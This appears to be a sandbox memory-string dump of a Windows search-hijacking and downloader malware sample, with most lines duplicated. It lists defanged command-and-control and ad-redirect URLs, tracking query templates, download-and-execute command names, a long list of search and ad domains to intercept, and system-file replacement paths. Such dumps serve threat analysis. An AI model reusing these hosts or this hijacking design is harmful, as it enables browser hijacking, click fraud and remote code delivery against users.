0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0RATHER THAN COMMAND.COM, ADD THE COMMAND NTCMDPROMPT TO CONFIG.NT OR
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0COMMAND.COM. IF YOU START AN APPLICATION OTHER THAN AN MS-DOS-BASED
0CONFIG.NT OR OTHER STARTUP FILE.
0CONFIG.NT OR OTHER STARTUP FILE.
0WANT THE SYSTEM TO SUPPORT. 1
0WANT THE SYSTEM TO SUPPORT. 1
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0AND LEAVE THE RESTS(IF AVAILABLE) TO BE USED BY DOS TO SUPPORT
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
0WITH YOUR APPLICATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
D%WinDir%\SYSTEM32\HIMEM.SYS
D%WinDir%\SYSTEM32\HIMEM.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
Q001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
S%WinDir%\SYSTEM32\COMMAND.COM
S%WinDir%\SYSTEM32\COMMAND.COM
/P %WinDir%\SYSTEM32
/P %WinDir%\SYSTEM32
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
ATION OR _DEFAULT.PIF). IF THE SIZE FROM PIF FILE
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
DEVICE=%WinDir%\SYSTEM32\HIMEM.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
COUNTRY=001,437,%WinDir%\SYSTEM32\COUNTRY.SYS
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
SHELL=%WinDir%\SYSTEM32\COMMAND.COM /P %WinDir%\SYSTEM32
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
[]| =;"
[]| =;"
%WinDir%\TEMP\scs11.tmp
%WinDir%\TEMP\scs11.tmp
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
NTCMDPROMPTT
NTCMDPROMPTT
Unrecognized command in CONFIG.SYS
Unrecognized command in CONFIG.SYS
Insufficient memory for COUNTRY.SYS file
Insufficient memory for COUNTRY.SYS file
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
Incorrect order in CONFIG.SYS line $Error in CONFIG.SYS line $WARNING! Logical drives past Z: exist and will be ignored
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
/)()(00)(
/)()(00)(
/@%}-{.Nb#b
/@%}-{.Nb#b
!Press any key to continue . . .
!Press any key to continue . . .
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32\DOSX
%WinDir%\SYSTEM32\DOSX
NT.EXE
NT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
nt.exe
nt.exe
DOSX.EXE
DOSX.EXE
ntvdm.exe_1112_rwx_000A0000_00020000:
66666666
66666666
6666666
6666666
6666666666666666
6666666666666666
6666666676666666
6666666676666666
6666667076666666
6666667076666666
ntvdm.exe_1112_rwx_000C9000_00013000:
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
%System%\DOSX.EXE
%System%\DOSX.EXE
%System%\mscdexnt.exe
%System%\mscdexnt.exe
VCDEX.DLL
VCDEX.DLL
%System%\redir
%System%\redir
(load before dosx.exe)
(load before dosx.exe)
C:\LANMAN.DOS
C:\LANMAN.DOS
%System%\dosx
%System%\dosx
%System%\krnl386.exe
%System%\krnl386.exe
krnl386.exe
krnl386.exe
SYSTEM.INI
SYSTEM.INI
ntvdm.exe_1112_rwx_000E8000_00008000:
00030
00030
30333
30333
?0?3???
?0?3???
Windows NT MS-DOS subsystem Mouse Driver
Windows NT MS-DOS subsystem Mouse Driver
ntvdm.exe_1112_rwx_00100000_00010000:
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
C:\DOCUME~1\ADM\LOCALS~1\TEMP\XT.EXE
XT EXE
XT EXE
."/\[]:| =;,
."/\[]:| =;,
c:\wina20.386
c:\wina20.386
%WinDir%\SYSTEM32\COUNTRY.SYS
%WinDir%\SYSTEM32\COUNTRY.SYS
89:;?
89:;?
1234567890-=
1234567890-=
!@#$%^&*()_
!@#$%^&*()_
789-456 1230.
789-456 1230.
!"#$%&,-./012
!"#$%&,-./012
%WinDir%\SYSTEM32\COMMAND.COM
%WinDir%\SYSTEM32\COMMAND.COM
%File allocation table bad, drive %1
%File allocation table bad, drive %1
Invalid COMMAND.COM
Invalid COMMAND.COM
!Press any key to continue . . .
!Press any key to continue . . .
Cannot execute %1
Cannot execute %1
Error in EXE file
Error in EXE file
%WinDir%\TEMP\scs12.tmp
%WinDir%\TEMP\scs12.tmp
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
arameter vaCOMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
OS=Windows_NT
OS=Windows_NT
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATH=C:\Perl\site\bin;C:\Perl\bin;%System%;%WinDir%;%WinDir%\System32\Wbem;c:\PROGRA~1\WIRESH~1
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
SYSTEMROOT=%WinDir%
SYSTEMROOT=%WinDir%
TEMP=%WinDir%\TEMP
TEMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
TMP=%WinDir%\TEMP
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
COMSPEC=%WinDir%\SYSTEM32\COMMAND.COM
}
%Intermediate file error during pipe
%Intermediate file error during pipe
Switches may be preset in the DIRCMD environment variable. Override
Switches may be preset in the DIRCMD environment variable. Override
>Quits the COMMAND.COM program (command interpreter).
>Quits the COMMAND.COM program (command interpreter).
]Displays or sets a search path for executable files.
]Displays or sets a search path for executable files.
$B | (pipe)
$B | (pipe)
%Displays the MS-DOS version.
%Displays the MS-DOS version.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
LRecords comments (remarks) in a batch file or CONFIG.SYS.
key to continue...."
key to continue...."
PATH=PROMPT=COMSPEC=DIRCMD=
PATH=PROMPT=COMSPEC=DIRCMD=
.COM.EXE.BAT?VBAPWRHSvDANEDSG
.COM.EXE.BAT?VBAPWRHSvDANEDSG
%WinDir%\SYSTEM32
%WinDir%\SYSTEM32
[]| =;"
[]| =;"
Explorer.EXE_532_rwx_00EF0000_00001000:
.text
.text
`.data
`.data
.reloc
.reloc
Explorer.EXE_532_rwx_00FF0000_00009000:
.exeu]
.exeu]
%szptfzubjhp.php?adv=adv468&code1=%s&code2=%s&id=%d&p=%s&b=%s
%szptfzubjhp.php?adv=adv468&code1=%s&code2=%s&id=%d&p=%s&b=%s
Chrome
Chrome
Firefox
Firefox
Opera
Opera
%swtlj.exe
%swtlj.exe
%ssjnlgn.php?adv=adv468
%ssjnlgn.php?adv=adv468
%stmvspdwr.exe
%stmvspdwr.exe
%styfnhc.php?adv=adv468
%styfnhc.php?adv=adv468
%sifdla.exe
%sifdla.exe
%sxbvqxsa.php?adv=adv468
%sxbvqxsa.php?adv=adv468
%syset.exe
%syset.exe
%sxavdxsz.php?adv=adv468
%sxavdxsz.php?adv=adv468
%sldnhp.exe
%sldnhp.exe
%shyfaitavt.php?adv=adv468
%shyfaitavt.php?adv=adv468
%sbekyd.exe
%sbekyd.exe
%sqhlkrzhf.php?adv=adv468
%sqhlkrzhf.php?adv=adv468
%sbxxlpcxo.exe
%sbxxlpcxo.exe
%skbwdyfeyta.php?adv=adv468
%skbwdyfeyta.php?adv=adv468
%shywgxge.exe
%shywgxge.exe
%smmaucwe.php?adv=adv468
%smmaucwe.php?adv=adv468
%sokyqih.exe
%sokyqih.exe
%scptrlg.php?adv=adv468
%scptrlg.php?adv=adv468
%snyjq.exe
%snyjq.exe
%sizgowq.php?adv=adv468
%sizgowq.php?adv=adv468
%saydvhkl.exe
%saydvhkl.exe
%siztbjhowu.php?adv=adv468
%siztbjhowu.php?adv=adv468
%sultamgbih.php?adv=adv468
%sultamgbih.php?adv=adv468
hXXp://bbpolis.com/timuo/
hXXp://bbpolis.com/timuo/
hXXp://abretor.com/timuo/
hXXp://abretor.com/timuo/
psapi.dll
psapi.dll
ddraw.dll
ddraw.dll
urlmon.dll
urlmon.dll
shell32.dll
shell32.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
wininet.dll
wininet.dll
ntdll.dll
ntdll.dll
\svchost.exe
\svchost.exe
explorer.exe
explorer.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\E4U.exe
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsa3.tmp\E4U.exe
ShellExecuteExA
ShellExecuteExA
InternetOpenUrlA
InternetOpenUrlA
HttpQueryInfoA
HttpQueryInfoA
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
%szptfzubjhp.p
%szptfzubjhp.p
ChromeFirefox
ChromeFirefox
httpo%u
httpo%u
fnhcifdla$%sxbvk
fnhcifdla$%sxbvk
polis.Qm/timuo/
polis.Qm/timuo/
`.rd!!
`.rd!!
KERNEL32.DLL
KERNEL32.DLL
ADVAPI32.dll
ADVAPI32.dll
DDRAW.dll
DDRAW.dll
PSAPI.DLL
PSAPI.DLL
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
USER32.dll
USER32.dll
WININET.dll
WININET.dll
Explorer.EXE_532_rwx_01E00000_00013000:
HTTP/1.1
HTTP/1.1
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
\user32.dll
\user32.dll
kb.dll
kb.dll
\updhlp.dat
\updhlp.dat
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
19792079
19792079
[%subid]
[%subid]
[%key]
[%key]
google.com/
google.com/
**http://
**http://
search.yahoo.com
search.yahoo.com
bing.com
bing.com
.info/message.php
.info/message.php
\temp.ini
\temp.ini
\admin.txt
\admin.txt
.aspx
.aspx
iexplore.exe
iexplore.exe
&HTTP_REFERER=
&HTTP_REFERER=
\server.dat
\server.dat
\Windows
\Windows
\winhelp.exe
\winhelp.exe
yschttl spt" href="hXXp://
yschttl spt" href="hXXp://
sb_tlst">
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
keyword
keyword
hXXp://
hXXp://
HTTP/1.
HTTP/1.
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
ws2_32.dll
ws2_32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
Wininet.dll
Wininet.dll
version.dll
version.dll
ole32.dll
ole32.dll
Dnsapi.dll
Dnsapi.dll
hXXp://google.ru/s.php?dd=giuy
hXXp://google.ru/s.php?dd=giuy
c:\feed1.txt
c:\feed1.txt
:VVV.u
:VVV.u
google.com
google.com
\windows\
\windows\
sfc_os.dll
sfc_os.dll
wininit.exe
wininit.exe
winlogon.exe
winlogon.exe
dllcache\winlogon.exe
dllcache\winlogon.exe
explorer.exe
explorer.exe
dllcache\explorer.exe
dllcache\explorer.exe
z.exe
z.exe
.datj
.datj
5xplorer.exe
5xplorer.exe
opera.exe
opera.exe
firefox.exe
firefox.exe
chrome.exe
chrome.exe
8.texu5
8.texu5
cryptbase.dll
cryptbase.dll
sysprep.exe
sysprep.exe
8.datu
8.datu
9(999(((
9(999(((
((''((((999
((''((((999
998;:=>10325476)( *-,/.! #"%$'&
998;:=>10325476)( *-,/.! #"%$'&
9'999â„¢95999?999
9'999â„¢95999?999
M%S9S9S9Q&969i
M%S9S9S9Q&969i
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
dll.dll
dll.dll
%System%\dll
%System%\dll
fchrome.exe
fchrome.exe
lkb.dll
lkb.dll
mgoogle.com
mgoogle.com
\cryptbase.dll
\cryptbase.dll
Explorer.EXE_532_rwx_023D0000_00010000:
U8VSSh
U8VSSh
svchost.exe_1084_rwx_01050000_00012000:
t.FE;l$
t.FE;l$
winmm.dll
winmm.dll
ole32.dll
ole32.dll
maxhttpredirects
maxhttpredirects
software\microsoft\windows\currentversion\internet settings
software\microsoft\windows\currentversion\internet settings
enablehttp1_1
enablehttp1_1
software\microsoft\windows\currentversion\internet settings\zones\3
software\microsoft\windows\currentversion\internet settings\zones\3
%s\%s
%s\%s
hXXp://%s/?xurl=%s&xref=%s
hXXp://%s/?xurl=%s&xref=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
atl.dll
atl.dll
oleaut32.dll
oleaut32.dll
n%D,3
n%D,3
Global\3006345f-6baf-4669-a7e1-aaa310564be9
Global\3006345f-6baf-4669-a7e1-aaa310564be9
kdmf.tmp
kdmf.tmp
%d|%d|%s|%s
%d|%d|%s|%s
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
DownloadAndExecute
DownloadAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute2
DownloadCryptedAndExecute2
%[^.].%[^(](%[^)])
%[^.].%[^(](%[^)])
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
setup.exe
setup.exe
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
HTTP/1.1 302 Found
HTTP/1.1 302 Found
Location: %s
Location: %s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Content-Length: %d
Content-Length: %d
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://cri71ki813ck.com/
hXXp://cri71ki813ck.com/
hXXp://lkckclckl1i1i.com/
hXXp://lkckclckl1i1i.com/
cfg.ini
cfg.ini
urlmon.dll
urlmon.dll
bckfg.tmp
bckfg.tmp
svchost.exe
svchost.exe
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
*firefox*
*firefox*
*chrome*
*chrome*
*opera*
*opera*
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\cc51461b-e32a-4883-8e97-e0706dc65415
Global\cc51461b-e32a-4883-8e97-e0706dc65415
keywords
keywords
Accept-Language: %s
Accept-Language: %s
%s hXXp://%s/?xurl=%s&xref=%s
%s hXXp://%s/?xurl=%s&xref=%s
%s %s
%s %s
1.6|%s|%s|%s|%s|%s|%s
1.6|%s|%s|%s|%s|%s|%s
0123456789
0123456789
software\classes\http\shell\open\command
software\classes\http\shell\open\command
firefox
firefox
:"/\|?*
:"/\|?*
%s-%s
%s-%s
yschttl spt" href="hXXp://
yschttl spt" href="hXXp://
sb_tlst">
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
keyword
keyword
hXXp://
hXXp://
HTTP/1.
HTTP/1.
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
ws2_32.dll
ws2_32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
Wininet.dll
Wininet.dll
version.dll
version.dll
ole32.dll
ole32.dll
Dnsapi.dll
Dnsapi.dll
hXXp://google.ru/s.php?dd=giuy
hXXp://google.ru/s.php?dd=giuy
c:\feed1.txt
c:\feed1.txt
:VVV.u
:VVV.u
google.com
google.com
\windows\
\windows\
sfc_os.dll
sfc_os.dll
wininit.exe
wininit.exe
winlogon.exe
winlogon.exe
dllcache\winlogon.exe
dllcache\winlogon.exe
explorer.exe
explorer.exe
dllcache\explorer.exe
dllcache\explorer.exe
z.exe
z.exe
.datj
.datj
5xplorer.exe
5xplorer.exe
opera.exe
opera.exe
firefox.exe
firefox.exe
chrome.exe
chrome.exe
8.texu5
8.texu5
cryptbase.dll
cryptbase.dll
sysprep.exe
sysprep.exe
8.datu
8.datu
9(999(((
9(999(((
((''((((999
((''((((999
998;:=>10325476)( *-,/.! #"%$'&
998;:=>10325476)( *-,/.! #"%$'&
9'999â„¢95999?999
9'999â„¢95999?999
M%S9S9S9Q&969i
M%S9S9S9Q&969i
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
dll.dll
dll.dll
%System%\dll
%System%\dll
fchrome.exe
fchrome.exe
lkb.dll
lkb.dll
mgoogle.com
mgoogle.com
\cryptbase.dll
\cryptbase.dll
Explorer.EXE_532_rwx_023D0000_00010000:
U8VSSh
U8VSSh
svchost.exe_1084_rwx_01050000_00012000:
t.FE;l$
t.FE;l$
winmm.dll
winmm.dll
ole32.dll
ole32.dll
maxhttpredirects
maxhttpredirects
software\microsoft\windows\currentversion\internet settings
software\microsoft\windows\currentversion\internet settings
enablehttp1_1
enablehttp1_1
software\microsoft\windows\currentversion\internet settings\zones\3
software\microsoft\windows\currentversion\internet settings\zones\3
%s\%s
%s\%s
hXXp://%s/?xurl=%s&xref=%s
hXXp://%s/?xurl=%s&xref=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
clk=%s&bid=%s&aid=%s&sid=%s&rd=%s
atl.dll
atl.dll
oleaut32.dll
oleaut32.dll
n%D,3
n%D,3
Global\3006345f-6baf-4669-a7e1-aaa310564be9
Global\3006345f-6baf-4669-a7e1-aaa310564be9
kdmf.tmp
kdmf.tmp
%d|%d|%s|%s
%d|%d|%s|%s
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
Mozilla/4.0 (compatible; MSIE 1.0; Windows NT; CMD3)
DownloadAndExecute
DownloadAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute
DownloadCryptedAndExecute2
DownloadCryptedAndExecute2
%[^.].%[^(](%[^)])
%[^.].%[^(](%[^)])
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
command|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s
setup.exe
setup.exe
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
google;yahoo;bing.;live.com;msn.com;altavista.com;ask.com;exalead.com;excite.com;dogpile.com;metacrawler.com;webcrawler.com;alltheweb.com;.lycos.;gigablast.com;cuil.com;.aol.;entireweb.com;.search.com;mamma.com;mytalkingbuddy.com;about.com;myspace.com;answers.com;conduit.com;alexa.com;alltheinternet.com;blinkx.com;macromedia.com;adobe.com;amazon.com;facebook.com;youtube.com;wikipedia.org;wikimedia.org;twitter.com;aolcdn.com;othersonline.com;everesttech.net;adrevolver.com;tribalfusion.com;adbureau.net;abmr.net;gstatic.com;virtualearth.net;atdmt.com;ivwbox.;powerset.net;yimg.com;2mdn.net;doubleclick.net;iwon.com;scorecardresearch.com;66.235.120.66;66.235.120.67;ytimg.com;infospace.com;edgesuite.net;superpages.com;lygo.com;compete.com;firmserve.com;worthathousandwords.com;yieldmanager.com;wazizu.com;meedea.com;atwola.com;doubleverify.com;tacoda.net;truveo.com;openx.org;adcertising.com;twimg.com;picsearch.com;oneriot.com;.com.com;flickr.com;searchvideo.com;.tqn.com;myspacecdn.com;fimservecdn.com;alexametrics.com
HTTP/1.1 302 Found
HTTP/1.1 302 Found
Location: %s
Location: %s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
Content-Length: %d
Content-Length: %d
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXps://68b6b6b6.com/;hXXps://61.61.20.132/;hXXps://34jh7alm94.asia/;hXXps://61.61.20.135/;hXXps://nyewrika.in/;hXXps://rukkieanno.in/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://rudolfdisney.com/;hXXp://crozybanner.com/;hXXp://imagemonstar.com/;hXXp://funimgpixson.com/;hXXp://bunnylandisney.com/
hXXp://cri71ki813ck.com/
hXXp://cri71ki813ck.com/
hXXp://lkckclckl1i1i.com/
hXXp://lkckclckl1i1i.com/
cfg.ini
cfg.ini
urlmon.dll
urlmon.dll
bckfg.tmp
bckfg.tmp
svchost.exe
svchost.exe
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
Global\9e6af8f3-75f3-4b67-877a-c80125d7bc08
*firefox*
*firefox*
*chrome*
*chrome*
*opera*
*opera*
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\a68d7de8-eba6-4a54-90e0-9cb9d93b3ed7
Global\cc51461b-e32a-4883-8e97-e0706dc65415
Global\cc51461b-e32a-4883-8e97-e0706dc65415
keywords
keywords
Accept-Language: %s
Accept-Language: %s
%s hXXp://%s/?xurl=%s&xref=%s
%s hXXp://%s/?xurl=%s&xref=%s
%s %s
%s %s
1.6|%s|%s|%s|%s|%s|%s
1.6|%s|%s|%s|%s|%s|%s
0123456789
0123456789
software\classes\http\shell\open\command
software\classes\http\shell\open\command
firefox
firefox
:"/\|?*
:"/\|?*
%s-%s
%s-%s
yschttl spt" href="hXXp://
yschttl spt" href="hXXp://
sb_tlst">
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
19091979
19091979
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 302 Moved Temporarily
HTTP/1.1 200 OK
HTTP/1.1 200 OK
keyword
keyword
hXXp://
hXXp://
HTTP/1.
HTTP/1.
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
ws2_32.dll
ws2_32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
Wininet.dll
Wininet.dll
version.dll
version.dll
ole32.dll
ole32.dll
Dnsapi.dll
Dnsapi.dll
hXXp://google.ru/s.php?dd=giuy
hXXp://google.ru/s.php?dd=giuy
c:\feed1.txt
c:\feed1.txt
:VVV.u
:VVV.u
google.com
google.com
\windows\
\windows\
sfc_os.dll
sfc_os.dll
wininit.exe
wininit.exe
winlogon.exe
winlogon.exe
dllcache\winlogon.exe
dllcache\winlogon.exe
explorer.exe
explorer.exe
dllcache\explorer.exe
dllcache\explorer.exe
z.exe
z.exe
.datj
.datj
5xplorer.exe
5xplorer.exe
opera.exe
opera.exe
firefox.exe
firefox.exe
chrome.exe
chrome.exe
8.texu5
8.texu5
cryptbase.dll
cryptbase.dll
sysprep.exe
sysprep.exe
8.datu
8.datu
9(999(((
9(999(((
((''((((999
((''((((999
998;:=>10325476)( *-,/.! #"%$'&
998;:=>10325476)( *-,/.! #"%$'&
9'999â„¢95999?999
9'999â„¢95999?999
M%S9S9S9Q&969i
M%S9S9S9Q&969i
.text
.text
`.rdata
`.rdata
@.data
@.data
.reloc
.reloc
dll.dll
dll.dll
%System%\dll
%System%\dll
fchrome.exe
fchrome.exe
lkb.dll
lkb.dll
mgoogle.com
mgoogle.com
\cryptbase.dll
\cryptbase.dll
